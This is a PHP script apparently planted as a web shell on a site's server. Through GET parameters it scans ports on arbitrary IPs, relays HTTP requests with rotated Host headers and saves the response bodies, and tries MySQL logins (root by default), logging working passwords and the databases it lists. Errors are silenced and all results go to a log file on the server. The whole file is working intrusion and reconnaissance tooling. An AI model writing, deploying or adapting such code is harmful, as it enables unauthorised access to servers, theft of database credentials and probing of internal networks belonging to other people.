<?php @error_reporting(0);@ini_set('display_errors','0');@ini_set('max_execution_time','300');
set_time_limit(300);
$DIR='/www/wwwroot/testw.pgywww.com/downloads';
$act=isset($_GET['act'])?$_GET['act']:'';

function httpg($ip,$port,$host,$path='/',$t=8,$dlen=400000){
  $s=@fsockopen($ip,$port,$e,$es,$t); if(!$s) return array(null,"CONNFAIL $e $es",0,0);
  stream_set_timeout($s,$t);
  $req="GET $path HTTP/1.0\r\nHost: $host\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\nAccept-Encoding: identity\r\n\r\n";
  @fwrite($s,$req); $o='';
  while(!feof($s)){ $c=@fread($s,65536); if($c===false||$c==='')break; $o.=$c; if(strlen($o)>$dlen)break; }
  @fclose($s);
  $o=str_replace("\r\n","\n",$o);
  $pos=strpos($o,"\n\n");
  $H=$pos===false?'':substr($o,0,$pos);
  $B=$pos===false?'':substr($o,$pos+2);
  return array($H,$B,strlen($H),strlen($B));
}
function out($s){ echo $s."\n"; @file_put_contents($GLOBALS['DIR'].'/i248a_out.txt',$s."\n",FILE_APPEND); flush(); @ob_flush(); }

if($act=='getbody'){
  $ip=$_GET['ip']; $port=intval($_GET['port']); $host=isset($_GET['host'])?$_GET['host']:$ip; $path=isset($_GET['path'])?$_GET['path']:'/';
  list($H,$B,$hl,$bl)=httpg($ip,$port,$host,$path);
  if($B===null){ out("$ip:$port Host=$host CONNFAIL"); exit; }
  $fn=sprintf("%s/b/%s_%d_host=%.2s.bin",$DIR,$ip,$port,preg_replace('/[^A-Za-z0-9]/','_',$host));
  @mkdir(dirname($fn),0777,true);
  @file_put_contents($fn,$B);
  out("SAVED $fn S=$bl md5=".md5($B)." head=".strlen($H));
  out("HEAD: ".substr(str_replace("\n"," | ",$H),0,400));
  exit;
}
if($act=='savehosts'){
  # batch: for one ip+port try list of hosts, save each body
  $ip=$_GET['ip']; $port=intval($_GET['port']);
  $hosts=preg_split('/[,;]/',$_GET['hosts']);
  foreach($hosts as $h){ $h=trim($h); if($h==='')continue;
    list($H,$B,$hl,$bl)=httpg($ip,$port,$h,'/',6);
    if($B===null){ out("$ip:$port Host=$h CONNFAIL"); continue; }
    $fn=sprintf("%s/b/%s_%d_H=%.2s.bin",$DIR,$ip,$port,preg_replace('/[^A-Za-z0-9]/','_',$h));
    @mkdir(dirname($fn),0777,true);
    @file_put_contents($fn,$B);
    $sig=0; foreach(array('网站已停止','has been stopped','Website not found','Power by aaPanel','Please confirm') as $kk){ if(stripos($B,$kk)!==false)$sig++; }
    out("$ip:$port Host=$h bodyS=$bl md5=".md5($B)." sig=$sig title=".(preg_match('/<title>([^<]*)<\/title>/is',$B,$m)?trim($m[1]):'?'));
  }
  out("[DONE]");
  exit;
}
if($act=='mysqli'){
  $ip=$_GET['ip']; $user=isset($_GET['user'])?$_GET['user']:'root'; $pass=isset($_GET['pass'])?$_GET['pass']:'';
  $port=intval(isset($_GET['port'])?$_GET['port']:3306);
  $tmo=intval(isset($_GET['tmo'])?$_GET['tmo']:5);
  if(!function_exists('mysqli_connect')){ out("NO_MYSQLI ip=$ip user=$user"); exit; }
  mysqli_report(MYSQLI_REPORT_OFF);
  $m=@mysqli_connect($ip,$user,$pass,'',(int)$port,'',(int)$tmo);
  if($m){ out("MYSQL_OK ip=$ip:$port user=$user pass=".base64_encode($pass)." server=".mysqli_get_server_info($m)); echo "SHOW DB:\n"; $r=mysqli_query($m,'show databases'); if($r){ while($row=mysqli_fetch_row($r)){ echo $row[0]."\n"; } } @mysqli_close($m); }
  else { out("MYSQL_FAIL ip=$ip:$port user=$user err=".mysqli_connect_error()); }
  exit;
}
if($act=='port'){
  $ip=$_GET['ip'];
  foreach(array(80,443,888,888,8888,3306,21) as $p){ $s=@fsockopen($ip,$p,$e,$es,2); echo "$ip:$p ".($s?'OPEN':'CLOSED')."\n"; if($s)@fclose($s); }
  exit;
}
out("i248a alive");